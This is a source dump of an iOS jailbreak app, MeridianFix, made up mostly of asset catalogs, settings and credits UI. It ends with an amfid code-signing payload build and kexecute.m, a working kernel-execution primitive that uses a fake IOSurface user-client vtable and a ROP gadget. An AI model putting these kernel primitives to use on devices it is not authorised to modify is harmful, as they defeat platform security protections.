https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "list@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "list@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "settings@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "settings@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "source_code@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "source_code@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "synchronize@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "synchronize@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "trash@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "trash@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "twitter@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "twitter@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "www@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "www@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Map.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "filename" : "DarkMap.png"
6 | }
7 | ],
8 | "info" : {
9 | "version" : 1,
10 | "author" : "xcode"
11 | }
12 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Map.imageset/DarkMap.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Map.imageset/DarkMap.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "splash@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "splash@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | }
22 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Base.lproj/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/CreditsController.h:
--------------------------------------------------------------------------------
1 | //
2 | // CreditsController.h
3 | // Meridian
4 | //
5 | // Created by Sticktron on 2018-06-02.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface CreditsController : UIViewController
12 |
13 | @end
14 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/CreditsController.m:
--------------------------------------------------------------------------------
1 | //
2 | // CreditsController.m
3 | // Meridian
4 | //
5 | // Created by Sticktron on 2018-06-02.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import "CreditsController.h"
10 |
11 | @interface CreditsController ()
12 |
13 | @end
14 |
15 | @implementation CreditsController
16 |
17 | - (void)viewDidLoad {
18 | [super viewDidLoad];
19 | // Do any additional setup after loading the view.
20 | }
21 |
22 | - (void)didReceiveMemoryWarning {
23 | [super didReceiveMemoryWarning];
24 | // Dispose of any resources that can be recreated.
25 | }
26 |
27 | - (void)openLink:(NSString *)url {
28 | [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil];
29 | }
30 |
31 | - (IBAction)buttonPressed:(UIButton *)sender {
32 | NSString *url = [NSString stringWithFormat:@"http://www.twitter.com/%@", sender.titleLabel.text];
33 | [self openLink:url];
34 | }
35 |
36 | /*
37 | #pragma mark - Navigation
38 |
39 | // In a storyboard-based application, you will often want to do a little preparation before navigation
40 | - (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
41 | // Get the new view controller using [segue destinationViewController].
42 | // Pass the selected object to the new view controller.
43 | }
44 | */
45 |
46 | @end
47 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleDisplayName
8 | MeridianFix
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | APPL
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleVersion
22 | 1
23 | LSRequiresIPhoneOS
24 |
25 | UILaunchStoryboardName
26 | LaunchScreen
27 | UIMainStoryboardFile
28 | Main
29 | UIRequiredDeviceCapabilities
30 |
31 | armv7
32 |
33 | UIRequiresFullScreen
34 |
35 | UIStatusBarHidden
36 |
37 | UIStatusBarStyle
38 | UIStatusBarStyleDefault
39 | UISupportedInterfaceOrientations
40 |
41 | UIInterfaceOrientationPortrait
42 |
43 | UISupportedInterfaceOrientations~ipad
44 |
45 | UIInterfaceOrientationPortrait
46 |
47 | UIViewControllerBasedStatusBarAppearance
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/SettingsController.h:
--------------------------------------------------------------------------------
1 | //
2 | // SettingsController.h
3 | // Meridian
4 | //
5 | // Created by Sticktron on 2018-04-03.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface SettingsController : UITableViewController
12 |
13 | @end
14 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/SettingsController.m:
--------------------------------------------------------------------------------
1 | //
2 | // SettingsController.m
3 | // Meridian
4 | //
5 | // Created by Sticktron on 2018-04-03.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import "SettingsController.h"
10 | #import "Preferences.h"
11 |
12 | @interface SettingsController ()
13 | @property (weak, nonatomic) IBOutlet UISwitch *tweaksEnabledSwitch;
14 | @property (weak, nonatomic) IBOutlet UISwitch *startLaunchDaemonsSwitch;
15 | @property (weak, nonatomic) IBOutlet UITextField *bootNonceEntryField;
16 | @property (weak, nonatomic) IBOutlet UISwitch *startDropbearSwitch;
17 | @property (weak, nonatomic) IBOutlet UISegmentedControl *dropbearPortControl;
18 | @property (weak, nonatomic) IBOutlet UITableViewCell *psychoTwitterCell;
19 | @property (weak, nonatomic) IBOutlet UITableViewCell *issueTrackerCell;
20 | @property (weak, nonatomic) IBOutlet UITableViewCell *sourceCodeCell;
21 | @property (weak, nonatomic) IBOutlet UITableViewCell *websiteCell;
22 | @end
23 |
24 |
25 | @implementation SettingsController
26 |
27 | - (void)viewDidLoad {
28 | [super viewDidLoad];
29 |
30 | _tweaksEnabledSwitch.on = tweaksAreEnabled();
31 | _startLaunchDaemonsSwitch.on = startLaunchDaemonsIsEnabled();
32 | _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()];
33 | _startDropbearSwitch.on = startDropbearIsEnabled();
34 | _dropbearPortControl.selectedSegmentIndex = listenPort();
35 |
36 | _bootNonceEntryField.delegate = self;
37 | }
38 |
39 | - (void)didReceiveMemoryWarning {
40 | [super didReceiveMemoryWarning];
41 | // Dispose of any resources that can be recreated.
42 | }
43 |
44 | - (void)openLink:(NSString *)url {
45 | [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil];
46 | }
47 |
48 | - (IBAction)tweaksEnabledValueChanged:(UISwitch *)sender {
49 | setTweaksEnabled(sender.isOn);
50 | }
51 |
52 | - (IBAction)startLaunchDaemonsValueChanged:(UISwitch *)sender {
53 | setStartLaunchDaemonsEnabled(sender.isOn);
54 | }
55 |
56 | - (IBAction)startDropbearValueChanged:(UISwitch *)sender {
57 | setStartDropbearEnabled(sender.isOn);
58 | }
59 |
60 | - (IBAction)dropbearPortValueChanged:(UISegmentedControl *)sender {
61 | setListenPort(sender.selectedSegmentIndex);
62 | }
63 |
64 | - (BOOL)textFieldShouldReturn:(UITextField *)textField {
65 | [textField resignFirstResponder];
66 | return YES;
67 | }
68 |
69 | - (IBAction)bootNonceEditingEnded:(UITextField *)sender {
70 | const char *generatorInput = [sender.text UTF8String];
71 |
72 | if (strcmp(generatorInput, "0x0") == 0) {
73 | // Reset/disable the generator
74 | setBootNonceValue(0x0);
75 |
76 | // Set it to the Electra nonce
77 | _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()];
78 | return;
79 | }
80 |
81 | char compareString[22];
82 | uint64_t rawGeneratorValue;
83 | sscanf(generatorInput, "0x%16llx", &rawGeneratorValue);
84 | sprintf(compareString, "0x%016llx", rawGeneratorValue);
85 |
86 | if (strcmp(compareString, generatorInput) != 0) {
87 |
88 | NSString *message = [NSString stringWithFormat:@"The generator you provided was invalid. The generator should be in the format '0x1234567890123456'"];
89 |
90 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Invalid Generator"
91 | message:message
92 | preferredStyle:UIAlertControllerStyleAlert];
93 |
94 | UIAlertAction *closeAction = [UIAlertAction actionWithTitle:@"Close"
95 | style:UIAlertActionStyleCancel
96 | handler:nil];
97 |
98 | [alert addAction:closeAction];
99 | [self presentViewController:alert animated:YES completion:nil];
100 |
101 | // Reset/disable the generator
102 | setBootNonceValue(0x0);
103 |
104 | // Set it to the Electra nonce
105 | _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()];
106 |
107 | return;
108 | }
109 |
110 | setBootNonceValue(rawGeneratorValue);
111 | }
112 |
113 | #pragma mark - Table view
114 | - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath {
115 | UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath];
116 |
117 | [tableView deselectRowAtIndexPath:indexPath animated:YES];
118 |
119 | if (cell == self.psychoTwitterCell) {
120 | [self openLink:@"http://www.twitter.com/iBSparkes"];
121 | } else if (cell == self.websiteCell) {
122 | [self openLink:@"https://meridian.sparkes.zone"];
123 | } else if (cell == self.issueTrackerCell) {
124 | [self openLink:@"https://github.com/PsychoTea/MeridianJB/issues"];
125 | } else if (cell == self.sourceCodeCell) {
126 | [self openLink:@"https://github.com/PsychoTea/MeridianJB"];
127 | }
128 | }
129 |
130 |
131 | #pragma mark - Navigation
132 |
133 | @end
134 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/ViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 22/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import "v0rtex.h"
10 | #import
11 |
12 | @interface ViewController : UIViewController
13 |
14 | - (void)writeText:(NSString *)message;
15 | - (void)writeTextPlain:(NSString *)message, ...;
16 |
17 | @end
18 |
19 | task_t tfp0;
20 | kptr_t kslide;
21 | kptr_t kernel_base;
22 | kptr_t kern_ucred;
23 | kptr_t kernprocaddr;
24 |
25 | void log_message(NSString *message);
26 |
--------------------------------------------------------------------------------
/Meridian/amfid/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = amfid_payload.dylib
2 | OUTDIR ?= bin
3 | SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m)
4 |
5 | CC = xcrun -sdk iphoneos gcc -arch arm64
6 | LDID = ldid
7 | CFLAGS = -dynamiclib -I. -I./helpers -framework Foundation -framework IOKit -lc++
8 |
9 | all: $(OUTDIR)/$(TARGET)
10 |
11 | $(OUTDIR):
12 | mkdir -p $(OUTDIR)
13 |
14 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)
15 | $(CC) $(CFLAGS) -o $@ $^
16 | $(LDID) -S $@
17 |
18 | install: all
19 |
20 | clean:
21 | rm -rf $(OUTDIR)
22 |
--------------------------------------------------------------------------------
/Meridian/amfid/common.h:
--------------------------------------------------------------------------------
1 |
2 | #define CACHED_FIND(type, name) \
3 | type __##name(void); \
4 | type name(void) { \
5 | type cached = 0; \
6 | if (cached == 0) { \
7 | cached = __##name(); \
8 | } \
9 | return cached; \
10 | } \
11 | type __##name(void)
12 |
--------------------------------------------------------------------------------
/Meridian/amfid/cs_dingling.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include "cs_blobs.h"
3 |
4 | #define LOG(str, args...) do { NSLog(@"[amfid_payload] " str, ##args); } while(0)
5 | #define ERROR(str, args...) LOG("ERROR: [%s] " str, __func__, ##args)
6 | #define INFO(str, args...) LOG("INFO: " str, ##args)
7 |
8 | typedef struct {
9 | const char *name;
10 | uint64_t file_off;
11 | int fd;
12 | const void *addr;
13 | size_t size;
14 | } img_info_t;
15 |
16 | const void *find_code_signature(img_info_t *info, uint32_t *cs_size);
17 |
18 | int find_best_codedir(const void *csblob,
19 | uint32_t csblob_size,
20 | const CS_CodeDirectory **chosen_cd,
21 | uint32_t *csb_offset,
22 | const CS_GenericBlob **entitlements);
23 |
24 | int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]);
25 |
26 | static unsigned int hash_rank(const CS_CodeDirectory *cd);
27 |
28 | const char *get_hash_name(uint8_t hash_type);
29 |
30 | int open_img(img_info_t* info);
31 | void close_img(img_info_t* info);
32 |
--------------------------------------------------------------------------------
/Meridian/amfid/ent_patching.h:
--------------------------------------------------------------------------------
1 | #include "cs_dingling.h"
2 |
3 | int fixup_platform_application(const char *path,
4 | uint64_t macho_offset,
5 | const void *blob,
6 | uint32_t cs_length,
7 | uint8_t cd_hash[20],
8 | uint32_t csdir_offset,
9 | const CS_GenericBlob *entitlements);
10 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/fishhook.c:
--------------------------------------------------------------------------------
1 | ../../fishhook/fishhook.c
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/fishhook.h:
--------------------------------------------------------------------------------
1 | ../../fishhook/fishhook.h
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | mach_port_t prepare_user_client(void);
5 | void init_kexecute(void);
6 | void term_kexecute(void);
7 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
8 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/kexecute.m:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "kmem.h"
4 | #include "kexecute.h"
5 | #include "kern_utils.h"
6 | #include "offsetof.h"
7 |
8 | mach_port_t prepare_user_client(void) {
9 | kern_return_t err;
10 | mach_port_t user_client;
11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
12 | if (service == IO_OBJECT_NULL){
13 | printf(" [-] unable to find service\n");
14 | exit(EXIT_FAILURE);
15 | }
16 |
17 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
18 | if (err != KERN_SUCCESS){
19 | printf(" [-] unable to get user client connection\n");
20 | exit(EXIT_FAILURE);
21 | }
22 |
23 | printf("got user client: 0x%x\n", user_client);
24 | return user_client;
25 | }
26 |
27 | pthread_mutex_t kexecute_lock;
28 | static mach_port_t user_client;
29 | static uint64_t IOSurfaceRootUserClient_port;
30 | static uint64_t IOSurfaceRootUserClient_addr;
31 | static uint64_t fake_vtable;
32 | static uint64_t fake_client;
33 | const int fake_kalloc_size = 0x1000;
34 |
35 | void init_kexecute(void) {
36 | user_client = prepare_user_client();
37 |
38 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
39 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
40 | if (IOSurfaceRootUserClient_port <= 0) {
41 | NSLog(@"error calling find_port whilst initializing kexecute!");
42 | return;
43 | }
44 |
45 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
46 |
47 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
48 |
49 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
50 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
51 |
52 | // Create the vtable in the kernel memory, then copy the existing vtable into there
53 | fake_vtable = kalloc(fake_kalloc_size);
54 |
55 | for (int i = 0; i < 0x200; i++) {
56 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
57 | }
58 |
59 | // Create the fake user client
60 | fake_client = kalloc(fake_kalloc_size);
61 |
62 | for (int i = 0; i < 0x200; i++) {
63 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
64 | }
65 |
66 | // Write our fake vtable into the fake user client
67 | wk64(fake_client, fake_vtable);
68 |
69 | // Replace the user client with ours
70 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
71 |
72 | // Now the userclient port we have will look into our fake user client rather than the old one
73 |
74 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
75 | wk64(fake_vtable+8*0xB7, offset_add_x0_x0_0x40_ret);
76 |
77 | pthread_mutex_init(&kexecute_lock, NULL);
78 | }
79 |
80 | void term_kexecute(void) {
81 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
82 | kfree(fake_vtable, fake_kalloc_size);
83 | kfree(fake_client, fake_kalloc_size);
84 | }
85 |
86 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
87 | pthread_mutex_lock(&kexecute_lock);
88 |
89 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
90 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
91 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
92 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
93 | // through like normal.
94 |
95 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
96 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
97 | // (i'm not actually sure if the switch back is necessary but meh)
98 |
99 | uint64_t offx20 = rk64(fake_client+0x40);
100 | uint64_t offx28 = rk64(fake_client+0x48);
101 | wk64(fake_client+0x40, x0);
102 | wk64(fake_client+0x48, addr);
103 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
104 | wk64(fake_client+0x40, offx20);
105 | wk64(fake_client+0x48, offx28);
106 |
107 | pthread_mutex_unlock(&kexecute_lock);
108 |
109 | return returnval;
110 | }
111 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/kmem.c:
--------------------------------------------------------------------------------
1 | #import "kern_utils.h"
2 | #import "kmem.h"
3 |
4 | #define MAX_CHUNK_SIZE 0xFFF
5 |
6 | void remote_read_overwrite(mach_port_t task_port,
7 | uint64_t remote_address,
8 | uint64_t local_address,
9 | uint64_t length) {
10 | kern_return_t err;
11 |
12 | mach_vm_size_t outsize = 0;
13 | err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
14 | if (err != KERN_SUCCESS){
15 | return;
16 | }
17 |
18 | if (outsize != length){
19 | return;
20 | }
21 | }
22 |
23 | void remote_write(mach_port_t remote_task_port,
24 | uint64_t remote_address,
25 | uint64_t local_address,
26 | uint64_t length) {
27 | kern_return_t err = mach_vm_write(remote_task_port,
28 | (mach_vm_address_t)remote_address,
29 | (vm_offset_t)local_address,
30 | (mach_msg_type_number_t)length);
